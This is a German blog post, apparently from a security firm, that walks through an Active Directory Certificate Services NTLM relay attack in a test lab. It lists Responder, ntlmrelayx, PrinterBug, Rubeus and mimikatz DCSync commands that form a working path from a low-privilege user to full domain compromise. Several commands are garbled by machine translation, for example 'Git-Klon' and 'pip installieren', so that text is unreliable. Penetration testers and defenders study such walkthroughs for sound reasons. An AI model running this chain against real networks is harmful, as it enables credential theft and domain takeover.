Certificate Service Relaying

Weiterleiten von Zertifikatdiensten

Celia Catalán


Nachdem wir die Authentifizierung erzwungen und den NetNTLM-Hash des Passworts des Computerbenutzers des Opfers erhalten haben, werden uns verschiedene Ausnutzungsszenarien präsentiert, die wir in verschiedenen Blogeinträgen diskutieren werden.

Als nächstes sprechen wir über Certificate Service Relaying anhand eines praktischen Beispiels in einem Prüflabor.

In diesem ersten Fall besteht der Angriff darin, die durch eine „Zwangsauthentifizierung“ erfassten Anmeldeinformationen wiederzuverwenden, um sich in einem falsch konfigurierten ADCS (Active Directory Certificate Service) zu authentifizieren (was standardmäßig der Fall ist), um die Berechtigungen in der Domäne zu erweitern.

Im Folgenden sind einige der Bedingungen aufgeführt, die erfüllt sein müssen, um diesen Angriff durchzuführen:

  • Das ADCS muss so konfiguriert sein, dass es NTLM-Authentifizierungen akzeptiert.
  • Die NTLM-Authentifizierung ist nicht EPA-geschützt oder SMB-signiert.
  • Das ADCS führt einen der folgenden Dienste aus:
    • Webdienst für Zertifikatsregistrierungsrichtlinien.
    • Webdienst zur Zertifikatsregistrierung.

Zusammenfassung

Der Ausnutzungsprozess dieses Angriffs wird im Folgenden ausführlich erläutert:

1. Erhalten Sie Zugriff auf ein Netzwerk, das mit Active Directory und einer falsch konfigurierten ADCS-Instanz konfiguriert ist. Bei bestimmten Zwangsangriffen muss auch ein Domänenbenutzer kompromittiert werden, unabhängig von seinen Privilegien.

2. Konfigurieren Sie die Abhörsoftware auf einem vom Angreifer kontrollierten Computer, um die NTLM-Authentifizierung für die falsch konfigurierte ADCS-Instanz wiederzuverwenden.

3. Erzwingen Sie die Authentifizierung des Domänencontrollers (jede „Coerce Authentication“-Schwachstelle) gegenüber dem vom Angreifer kontrollierten Computer mit der Software, um die NTLM-Authentifizierung wiederzuverwenden.

4. Der Domänencontroller authentifiziert sich auf dem vom Angreifer kontrollierten Computer.

5. Die vom Computerbenutzer des Domänencontrollers erhaltenen Anmeldeinformationen werden zur Authentifizierung beim ADCS wiederverwendet.

6. Das ADCS stellt dem Benutzer des Domänencontroller-Computers ein Zertifikat aus.

7. Mithilfe des im vorherigen Schritt erhaltenen Zertifikats wird ein Kerberos TGT-Ticket angefordert.

8. Verwenden Sie das TGT-Ticket des Computerbenutzers des Domänencontrollers, um das TGS eines beliebigen Benutzers anzufordern, oder führen Sie eine DCSync durch, um das NTDS der Domäne abzurufen.

Testlaborkomponenten

Im Folgenden beschreiben wir kurz die im Prüflabor gefundenen Vermögenswerte:

  • Attack_Machine – Diese Maschine bezieht sich auf ein Kali-Linux, von dem aus wir den Angriff durchführen, um eine „Authentifizierung erzwingen“ zu erhalten und die Software auf die Wiederverwendung der Authentifizierung warten zu lassen.
  • DC.corp.lab – Domänencontroller mit der konfigurierten Domäne „corp.lab“, der Opfer des Angriffs wird. Ein Benutzer namens „Bob“ wird in dieser Domäne ohne Berechtigungen konfiguriert, um den Angriff aus seiner Kompromittierung nachzuahmen.
  • CA.corp.lab – Zertifizierungsstelle innerhalb der Domäne „corp.lab“.
  • Windows10 – Computer mit Windows-Betriebssystem, der zuvor vom Angreifer kompromittiert wurde, innerhalb der Domäne „corp.lab“.

Installieren einer bestimmten Version von impacket

Um diesen Angriff zu entwickeln, muss eine bestimmte Version von impacket installiert sein, die entwickelt wurde, um die gegen das ADCS erhaltene NTLM-Authentifizierung wiederverwenden zu können. Dazu führen wir die folgenden Schritte aus:

  • Installieren Sie das Paket für virtuelle Python-Umgebungen:

                sudo apt installiere python3-venv


  • Laden Sie die benötigte Impacket -Version herunter und überprüfen Sie sie.


Git-Klon https://github.com/ExAndroidDev/impacket.git

CD-Impacket

git checkout ntlmrelayx-adcs-angriff


  • Erstellen Sie eine neue virtuelle Umgebung und installieren Sie Impacket-Abhängigkeiten
python3 -m venv impacket-adcs-attack
Quelle impacket-adcs-attack/bin/activate 
pip installieren 



Entwicklung des Angriffs


Identifizieren Sie einen falsch konfigurierten ADCS-Dienst in der Domäne


Nach der Installation der spezifischen Version von impacket müssen Sie zunächst das ADCS identifizieren. Zu diesem Zweck können mehrere Tools verwendet werden, darunter ein natives Microsoft-Tool namenscertutil .


Nachdem Sie ermittelt haben, um welchen Server es sich handelt, müssen Sie prüfen, ob der Webdienst zur Zertifikatsregistrierung aktiviert ist. Dazu greifen wir über einen Browser auf die folgende URL zu:

http://ca.corp.lab/certsrv/certqus.asp


Es ist zu beachten, dass wir beim Zugriff auf diese URL nach einem Benutzernamen und einem Passwort gefragt werden, bei denen es sich um die eines Benutzers aus der zuvor kompromittierten Domäne handelt (in diesem Fall des Benutzers „CORP.lab\Bob“).

Sobald wir diesen Punkt erreicht haben, müssen wir prüfen, ob der Domänencontroller für einen der in anderen Blogbeiträgen erläuterten „Coerce Authentication“-Angriffe anfällig ist. In diesem Fall erfolgt die Ausnutzung durch Missbrauch des MS-RPC namens MS-RPRN mithilfe des Skripts Druckerfehler.

Sie müssen mithilfe des folgenden Befehls überprüfen, ob der DC besagtes MS-RPC aktiviert hat:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


Softwareentwicklung für die Wiederverwendung der NTLM-Authentifizierung 


Als Nächstes muss die Umgebung des Angreifers konfiguriert werden, um den Angriff zur Wiederverwendung von Passwörtern durchführen zu können. Dazu muss das Tool namens Reply wie folgt konfiguriert werden:

sudo nano /etc/responder/Responder.conf
SMB = Aus
HTTP = Aus



Als nächstes müssen sowohl das Skript namens „response“, das für die Erfassung der „Coerce-Authentifizierung“ verantwortlich ist, als auch das zuvor installierte Skript namens „ntlmrelayx“ ausgeführt werden, um die gegen das ADCS erhaltene NTLM-Authentifizierung wiederzuverwenden.

sudo responder -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Erzwingen Sie die Authentifizierung und den Erhalt des vom ADCS ausgestellten Zertifikats

Sobald beide Skripte ausgeführt werden, wird die „Coerce Authentication“ ausgenutzt.

python3 Printerbug.py „CORP/bob: @dc.corp.lab“ attack_machine


Nach der vorherigen Ausführung wird das Zertifikat des DC-Maschinenbenutzers abgerufen:


Erhalten des TGT-Tickets vom Domänencontroller

Sobald das Zertifikat vom Windows 10-Computer erhalten wurde, verwenden wir das Rubeus- Tool, um ein TGT-Ticket vom Computerbenutzer des Domänencontrollers anzufordern und zu importieren.

.\Rubeus.exe asktgt /dc: /domain:CORP.LAB /user:DC$ /ptt /certificate:


Sie müssen mit dem folgenden Befehl überprüfen, ob das Ticket korrekt importiert wurde:

klist



Nachdem überprüft wurde, ob der Import korrekt ist, können verschiedene Aktionen ausgeführt werden, wie zum Beispiel das Anfordern des TGS-Tickets beim Domänenadministrator-Benutzer:

.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /user:Administrator



Sobald der TGS des Domänenadministratorbenutzers erhalten wurde, ist es möglich, sich mit erhöhten Rechten beim Domänencontroller zu authentifizieren und die gesamte Domäne zu gefährden.

Dies war das erste von hoffentlich vielen Szenarios, die wir kommentieren ... Und welche kennen Sie? Bis zum nächsten Eintrag.

Dimas Pastor , Senior Analyst bei Zerolynx Group .


Zurück zum Blog

Hinterlasse einen Kommentar

Bitte beachten Sie, dass Kommentare vor der Veröffentlichung genehmigt werden müssen.